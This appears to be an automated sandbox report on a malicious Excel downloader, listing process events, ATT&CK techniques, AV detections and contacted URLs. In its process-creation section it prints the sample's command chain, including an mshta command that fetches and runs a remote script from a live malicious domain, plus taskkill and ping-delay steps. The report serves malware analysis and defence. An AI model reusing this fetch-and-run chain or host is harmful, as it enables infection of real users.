Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387314345.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537773286.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`
Source: C:\Windows\SysWOW64\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\SysWOW64\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Security Software Discovery		Remote Services1
Email Collection		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts121
Scripting		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Disable or Modify Tools		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth3
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts23
Exploitation for Client Execution		Logon Script (Windows)Logon Script (Windows)11
Process Injection		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Archive Collected Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)121
Scripting		NTDS1
File and Directory Discovery		Distributed Component Object ModelInput CaptureScheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
Obfuscated Files or Information		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 684675 Sample: SecuriteInfo.com.Exploit.Si... Startdate: 16/08/2022 Architecture: WINDOWS Score: 100 43 Multi AV Scanner detection for domain / URL 2->43 45 Antivirus detection for URL or domain 2->45 47 Antivirus / Scanner detection for submitted sample 2->47 49 4 other signatures 2->49 9 EXCEL.EXE 27 23 2->9         started        process3 file4 29 SecuriteInfo.com.E...en3.17149.10211.xls, Composite 9->29 dropped 31 C:\Users\Public\Outlook.bat, ASCII 9->31 dropped 51 Document exploit detected (creates forbidden files) 9->51 13 cmd.exe 1 9->13         started        signatures5 process6 signatures7 53 Uses ping.exe to sleep 13->53 55 Uses ping.exe to check the status of other devices and networks 13->55 16 PING.EXE 1 13->16         started        19 mshta.exe 6 125 13->19         started        21 cmd.exe 1 13->21         started        23 conhost.exe 13->23         started        process8 dnsIp9 33 127.0.0.1 unknown unknown 16->33 35 192.168.2.1 unknown unknown 16->35 37 facextrade.com.br 187.45.240.69, 49743, 49744, 49748 LocawebServicosdeInternetSABR Brazil 19->37 39 www3.l.google.com 142.250.181.238, 443, 49749, 49750 GOOGLEUS United States 19->39 41 4 other IPs or domains 19->41 25 taskkill.exe 1 21->25         started        process10 process11 27 conhost.exe 25->27         started       

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls48%VirustotalBrowse
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls29%MetadefenderBrowse
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls41%ReversingLabsScript-Macro.Downloader.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls100%AviraX97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

SourceDetectionScannerLabelLink
facextrade.com.br5%VirustotalBrowse
storage.ie6countdown.com0%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.03~100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6d100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68S100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ts100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0s./k100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0100%Avira URL Cloudmalware
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jssQ100%Avira URL Cloudmalware
http://facextrade.com.br/wp-cont100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngsY100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20=B100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2d100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png.3v100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1100%Avira URL Cloudmalware
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3100%Avira URL Cloudmalware
http://kyruus.com0%URL Reputationsafe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1100%Avira URL Cloudmalware
https://facextrade.com.br/#contatosE100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0y100%Avira URL Cloudmalware
https://my.microsoftpersonalcontent.com0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://facextrade.com.br/feed/100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68100%Avira URL Cloudmalware
https://www.odwebp.svc.ms0%URL Reputationsafe
https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
https://facextrade.com.br/#contatos=100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jspt100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3kp100%Avira URL Cloudmalware
https://ncus.contentsync.0%URL Reputationsafe
http://facextrade.com.br/wp-includes/certificates/4.txtyle.cssE5100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/certificates/4.txt5j100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js-l100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs100%Avira URL Cloudmalware
https://wus2.contentsync.0%URL Reputationsafe
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0y100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20B7100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/wlwmanifest.xml4100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6?veLMEM100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2s#100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0z6100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssq100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.31-100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2R6100%Avira URL Cloudmalware
http://daneden.me/animate0%URL Reputationsafe
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0g100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/certificates/privacy-policy100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3h100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
facextrade.com.br
187.45.240.69
truetrueunknown
gstaticadssl.l.google.com
172.217.16.195
truefalse
    		high
    netdna.bootstrapcdn.com
    		104.18.10.207
    		truefalse
      		high
      www3.l.google.com
      		142.250.181.238
      		truefalse
        		high
        storage.ie6countdown.com
        		unknown
        		unknownfalseunknown
        translate.google.com
        		unknown
        		unknownfalse
          		high

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.csstrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngtrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417true
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0true
          • Avira URL Cloud: malware
          		unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.03~mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6dmshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68Smshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2tsmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0s./kmshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmptrue
          • Avira URL Cloud: malware
          		unknown
          https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
            		high
            http://g.co/dev/maps-no-accountjs[1].js.10.drfalse
              		high
              https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                		high
                https://rpsticket.partnerservices.getmicrosoftkey.comB16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                • URL Reputation: safe
                		unknown
                https://lookup.onenote.com/lookup/geolocation/v1B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drfalse
                  		high
                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jssQmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://netdna.bootstrapcdn.com/mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    http://facextrade.com.br/wp-contmshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmptrue
                    • Avira URL Cloud: malware
                    		unknown
                    http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngsYmshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmptrue
                    • Avira URL Cloud: malware
                    		unknown
